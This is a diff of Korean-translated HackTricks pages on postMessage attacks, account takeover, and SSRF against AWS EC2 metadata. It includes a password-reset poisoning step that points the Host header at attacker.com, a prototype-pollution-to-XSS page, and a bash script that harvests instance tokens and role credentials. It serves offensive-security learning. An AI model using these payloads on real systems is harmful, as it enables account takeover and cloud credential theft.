메시지가 스크립트가 청취하고 있는 동일한 창에서 온 것인지 확인하는 것이 가능합니다 (특히 **브라우저 확장 프로그램의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):
|
||||||
```javascript
|
```javascript
|
||||||
// If it’s not, return immediately.
|
// If it’s not, return immediately.
|
||||||
if( received_message.source !== window ) {
|
if( received_message.source !== window ) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
메시지의 **`e.source`**를 null로 강제할 수 있습니다. **iframe**을 생성하여 **postMessage**를 **전송**하고 **즉시 삭제**하면 됩니다.
|
메시지의 **`e.source`**를 null로 만들기 위해 **postMessage**를 **전송**하고 **즉시 삭제되는** **iframe**을 생성할 수 있습니다.
|
||||||
|
|
||||||
자세한 내용은 **읽어보세요:**
|
자세한 정보는 **읽어보세요:**
|
||||||
|
|
||||||
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
|
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
|
||||||
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
|
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
|
||||||
|
@ -177,8 +164,8 @@ return;
|
||||||
|
|
||||||
### X-Frame-Header 우회
|
### X-Frame-Header 우회
|
||||||
|
|
||||||
이 공격을 수행하기 위해 이상적으로는 **희생자 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그 **동작**을 **방지**할 수 있습니다.\
|
이 공격을 수행하기 위해 이상적으로는 **피해자 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그 **동작**을 **방지**할 수 있습니다.\
|
||||||
이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션을 새 탭에서 열고 그와 통신할 수 있습니다:
|
이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션에 새 탭을 열고 그와 통신할 수 있습니다:
|
||||||
```markup
|
```markup
|
||||||
<script>
|
<script>
|
||||||
var w=window.open("<url>")
|
var w=window.open("<url>")
|
||||||
|
@ -187,7 +174,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||||
```
|
```
|
||||||
### 자식에게 전송된 메시지를 메인 페이지 차단으로 훔치기
|
### 자식에게 전송된 메시지를 메인 페이지 차단으로 훔치기
|
||||||
|
|
||||||
다음 페이지에서는 **데이터를 전송하기 전에 메인** 페이지를 **차단**하여 **자식 iframe**에 전송된 **민감한 postmessage 데이터**를 어떻게 훔칠 수 있는지 보여줍니다. 그리고 **자식에서 XSS를 악용하여** 데이터가 수신되기 전에 **유출**하는 방법입니다:
|
다음 페이지에서는 **데이터를 전송하기 전에 메인** 페이지를 **차단**하여 **자식 iframe**에 전송된 **민감한 postmessage 데이터**를 어떻게 훔칠 수 있는지 보여줍니다. 그리고 **자식에서 XSS를 악용하여 데이터를 유출**하기 전에 데이터를 수신합니다:
|
||||||
|
|
||||||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||||||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||||||
|
@ -195,7 +182,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||||
|
|
||||||
### iframe 위치 수정으로 메시지 훔치기
|
### iframe 위치 수정으로 메시지 훔치기
|
||||||
|
|
||||||
X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, **그 자식 iframe의 위치를 변경**할 수 있습니다. 만약 **와일드카드**를 사용하여 전송된 **postmessage**를 수신하고 있다면, 공격자는 그 iframe의 **출처**를 자신이 **제어하는** 페이지로 **변경**하고 메시지를 **훔칠** 수 있습니다:
|
X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, **그 자식 iframe의 위치를 변경**할 수 있습니다. 따라서 **와일드카드**를 사용하여 전송된 **postmessage**를 수신하는 경우, 공격자는 그 iframe의 **출처**를 자신이 **제어하는** 페이지로 **변경**하고 메시지를 **훔칠** 수 있습니다:
|
||||||
|
|
||||||
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
||||||
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
||||||
|
@ -203,11 +190,11 @@ X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, *
|
||||||
|
|
||||||
### postMessage를 통한 프로토타입 오염 및/또는 XSS
|
### postMessage를 통한 프로토타입 오염 및/또는 XSS
|
||||||
|
|
||||||
`postMessage`를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는 **페이지를 iframe으로 삽입**하고 **프로토타입 오염/XSS**를 **악용**하여 `postMessage`를 통해 익스플로잇을 전송할 수 있습니다.
|
`postMessage`를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는 **페이지를 iframe으로 삽입**하고 **프로토타입 오염/XSS**를 **postMessage**를 통해 악용할 수 있습니다.
|
||||||
|
|
||||||
[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)에서 **postMessage를 통한 XSS에 대한 매우 잘 설명된 예시**를 찾을 수 있습니다.
|
[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)에서 **postMessage를 통한 XSS에 대한 매우 잘 설명된 사례**를 찾을 수 있습니다.
|
||||||
|
|
||||||
`iframe`에 대한 `postMessage`를 통해 **프로토타입 오염을 악용한 후 XSS**의 예시:
|
`iframe`에 대한 `postMessage`를 통해 **프로토타입 오염을 악용한 후 XSS**의 예:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body>
|
<body>
|
||||||
|
@ -223,41 +210,29 @@ setTimeout(get_code, 2000);
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
For **more information**:
|
더 많은 정보:
|
||||||
|
|
||||||
* Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
|
* [**프로토타입 오염**](../deserialization/nodejs-proto-prototype-pollution/)에 대한 페이지 링크
|
||||||
* Link to page about [**XSS**](../xss-cross-site-scripting/)
|
* [**XSS**](../xss-cross-site-scripting/)에 대한 페이지 링크
|
||||||
* Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
* [**클라이언트 측 프로토타입 오염에서 XSS로**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)에 대한 페이지 링크
|
||||||
|
|
||||||
## References
|
## 참고문헌
|
||||||
|
|
||||||
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||||||
* To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
* 연습용: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 회사나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -10,31 +10,18 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **정보 유출**로 인해 **위험에 처했는지** 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 유출 악성코드로 인한 계정 인수 및 랜섬웨어 공격을 방지하는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 보세요:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 등록 인수
|
## 등록 인수
|
||||||
|
|
||||||
### 중복 등록
|
### 중복 등록
|
||||||
|
|
||||||
* 기존 사용자 이름을 사용하여 생성 시도
|
* 기존 사용자 이름을 사용하여 생성해 보세요.
|
||||||
* 이메일 변형 확인:
|
* 이메일을 다양하게 변경해 보세요:
|
||||||
* 대문자
|
* 대문자
|
||||||
* \+1@
|
* \+1@
|
||||||
* 이메일에 점 추가
|
* 이메일에 점 추가
|
||||||
|
@ -45,16 +32,16 @@ WhiteIntel의 주요 목표는 정보 유출 악성코드로 인한 계정 인
|
||||||
|
|
||||||
### 사용자 이름 열거
|
### 사용자 이름 열거
|
||||||
|
|
||||||
애플리케이션 내에서 사용자 이름이 이미 등록되었는지 확인합니다.
|
애플리케이션 내에서 사용자 이름이 이미 등록되었는지 확인해 보세요.
|
||||||
|
|
||||||
### 비밀번호 정책
|
### 비밀번호 정책
|
||||||
|
|
||||||
사용자 생성 시 비밀번호 정책 확인 (약한 비밀번호 사용 가능 여부 확인).\
|
사용자를 생성할 때 비밀번호 정책을 확인하세요 (약한 비밀번호를 사용할 수 있는지 확인).\
|
||||||
이 경우 자격 증명을 무작위 대입 시도할 수 있습니다.
|
이 경우 자격 증명을 무차별 대입해 볼 수 있습니다.
|
||||||
|
|
||||||
### SQL 인젝션
|
### SQL 인젝션
|
||||||
|
|
||||||
[**이 페이지를 확인하세요**](sql-injection/#insert-statement) 계정 인수 시도 또는 등록 양식에서 **SQL 인젝션**을 통해 정보 추출 방법을 배우세요.
|
[**이 페이지를 확인하세요**](sql-injection/#insert-statement) 계정 인수 또는 **SQL 인젝션**을 통해 정보를 추출하는 방법을 배우세요.
|
||||||
|
|
||||||
### Oauth 인수
|
### Oauth 인수
|
||||||
|
|
||||||
|
@ -70,33 +57,33 @@ WhiteIntel의 주요 목표는 정보 유출 악성코드로 인한 계정 인
|
||||||
|
|
||||||
### 이메일 변경
|
### 이메일 변경
|
||||||
|
|
||||||
등록 후 이메일을 변경해보고 이 변경이 올바르게 검증되는지 또는 임의의 이메일로 변경할 수 있는지 확인합니다.
|
등록 후 이메일을 변경해 보고 이 변경이 올바르게 검증되는지 또는 임의의 이메일로 변경할 수 있는지 확인하세요.
|
||||||
|
|
||||||
### 추가 확인 사항
|
### 추가 확인 사항
|
||||||
|
|
||||||
* **일회용 이메일** 사용 가능 여부 확인
|
* **일회용 이메일** 사용 가능 여부 확인
|
||||||
* **긴** **비밀번호** (>200)는 **DoS**로 이어짐
|
* **긴** **비밀번호** (>200)는 **DoS**로 이어짐
|
||||||
* **계정 생성 시 속도 제한** 확인
|
* **계정 생성에 대한 비율 제한 확인**
|
||||||
* username@**burp\_collab**.net 사용 및 **콜백** 분석
|
* username@**burp\_collab**.net을 사용하고 **콜백**을 분석하세요.
|
||||||
|
|
||||||
## **비밀번호 재설정 인수**
|
## **비밀번호 재설정 인수**
|
||||||
|
|
||||||
### 참조자를 통한 비밀번호 재설정 토큰 유출 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
### 참조자를 통한 비밀번호 재설정 토큰 유출 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||||
|
|
||||||
1. 비밀번호 재설정을 위해 이메일 주소 요청
|
1. 비밀번호 재설정을 위해 이메일 주소로 요청하세요.
|
||||||
2. 비밀번호 재설정 링크 클릭
|
2. 비밀번호 재설정 링크를 클릭하세요.
|
||||||
3. 비밀번호 변경하지 않음
|
3. 비밀번호를 변경하지 마세요.
|
||||||
4. 3자 웹사이트 클릭 (예: Facebook, Twitter)
|
4. 3자 웹사이트(예: Facebook, Twitter)를 클릭하세요.
|
||||||
5. Burp Suite 프록시에서 요청 가로채기
|
5. Burp Suite 프록시에서 요청을 가로채세요.
|
||||||
6. referer 헤더가 비밀번호 재설정 토큰을 유출하는지 확인합니다.
|
6. referer 헤더가 비밀번호 재설정 토큰을 유출하는지 확인하세요.
|
||||||
|
|
||||||
### 비밀번호 재설정 오염 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
### 비밀번호 재설정 중독 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||||
|
|
||||||
1. Burp Suite에서 비밀번호 재설정 요청 가로채기
|
1. Burp Suite에서 비밀번호 재설정 요청을 가로채세요.
|
||||||
2. Burp Suite에서 다음 헤더 추가 또는 수정: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
2. Burp Suite에서 다음 헤더를 추가하거나 수정하세요: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||||
3. 수정된 헤더로 요청 전달\
|
3. 수정된 헤더로 요청을 전달하세요.\
|
||||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||||
4. _host 헤더_를 기반으로 한 비밀번호 재설정 URL 찾기: `https://attacker.com/reset-password.php?token=TOKEN`
|
4. _host 헤더_를 기반으로 한 비밀번호 재설정 URL을 찾으세요: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||||
|
|
||||||
### 이메일 매개변수를 통한 비밀번호 재설정 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
### 이메일 매개변수를 통한 비밀번호 재설정 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -156,7 +143,7 @@ email=victim@mail.com|hacker@mail.com
|
||||||
|
|
||||||
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||||
|
|
||||||
1. 애플리케이션 내 또는 쿠키가 상위 도메인에 범위가 지정된 경우 서브도메인에서 XSS를 찾습니다: `*.domain.com`
|
1. 애플리케이션 내에서 XSS를 찾거나 쿠키가 부모 도메인에 범위가 지정된 경우 서브도메인에서 찾습니다: `*.domain.com`
|
||||||
2. 현재 **세션 쿠키**를 유출합니다.
|
2. 현재 **세션 쿠키**를 유출합니다.
|
||||||
3. 쿠키를 사용하여 사용자로 인증합니다.
|
3. 쿠키를 사용하여 사용자로 인증합니다.
|
||||||
|
|
||||||
|
@ -189,7 +176,7 @@ Hackerone 보고서에서 이 버그를 악용한 사례\
|
||||||
|
|
||||||
### JWT를 통한 계정 탈취 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
### JWT를 통한 계정 탈취 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||||
|
|
||||||
JSON Web Token은 사용자를 인증하는 데 사용될 수 있습니다.
|
JSON 웹 토큰은 사용자를 인증하는 데 사용될 수 있습니다.
|
||||||
|
|
||||||
* 다른 사용자 ID / 이메일로 JWT 수정
|
* 다른 사용자 ID / 이메일로 JWT 수정
|
||||||
* 약한 JWT 서명 확인
|
* 약한 JWT 서명 확인
|
||||||
|
@ -198,21 +185,10 @@ JSON Web Token은 사용자를 인증하는 데 사용될 수 있습니다.
|
||||||
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
|
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## 참고자료
|
## 참고 문헌
|
||||||
|
|
||||||
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인하는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -224,7 +200,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,29 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## AWS
|
## AWS
|
||||||
|
|
||||||
### AWS EC2 환경에서 SSRF 악용하기
|
### AWS EC2 환경에서 SSRF 악용하기
|
||||||
|
|
||||||
**메타데이터** 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: `http://169.254.169.254` ([메타데이터에 대한 정보는 여기](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
**메타데이터** 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: `http://169.254.169.254` ([메타데이터에 대한 정보는 여기](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) 참조).
|
||||||
|
|
||||||
메타데이터 엔드포인트에는 **2가지 버전**이 있습니다. **첫 번째** 버전은 **GET** 요청을 통해 엔드포인트에 **접근**할 수 있게 해줍니다 (따라서 어떤 **SSRF도 이를 악용할 수 있습니다**). **버전 2**인 [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)에서는 **HTTP 헤더**와 함께 **PUT** 요청을 보내 **토큰**을 요청한 후, 그 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 **SSRF로 악용하기 더 복잡합니다**).
|
메타데이터 엔드포인트에는 **2가지 버전**이 있습니다. **첫 번째** 버전은 **GET** 요청을 통해 엔드포인트에 **접근**할 수 있게 해줍니다 (따라서 어떤 **SSRF도 이를 악용할 수 있습니다**). **버전 2**인 [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)에서는 **HTTP 헤더**와 함께 **PUT** 요청을 보내 **토큰**을 요청한 후, 그 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 **SSRF로 악용하기 더 복잡합니다**).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**이 되어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
|
EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**로 설정되어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
|
||||||
|
|
||||||
또한, **IMDSv2**는 **`X-Forwarded-For` 헤더를 포함한 토큰 요청을 차단합니다**. 이는 잘못 구성된 리버스 프록시가 이를 접근하지 못하도록 방지하기 위함입니다.
|
또한, **IMDSv2**는 **`X-Forwarded-For` 헤더를 포함한 토큰 요청을 차단합니다**. 이는 잘못 구성된 리버스 프록시가 이를 접근하지 못하도록 방지하기 위함입니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
메타데이터 엔드포인트에 대한 정보는 [문서에서 확인할 수 있습니다](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). 다음 스크립트에서는 흥미로운 정보를 얻을 수 있습니다:
|
[메타데이터 엔드포인트에 대한 정보는 문서에서 확인할 수 있습니다](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). 다음 스크립트에서는 이로부터 흥미로운 정보를 얻습니다:
|
||||||
```bash
|
```bash
|
||||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||||
|
@ -103,7 +95,14 @@ You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d7
|
||||||
|
|
||||||
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.
|
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.
|
||||||
|
|
||||||
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
|
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
|
||||||
|
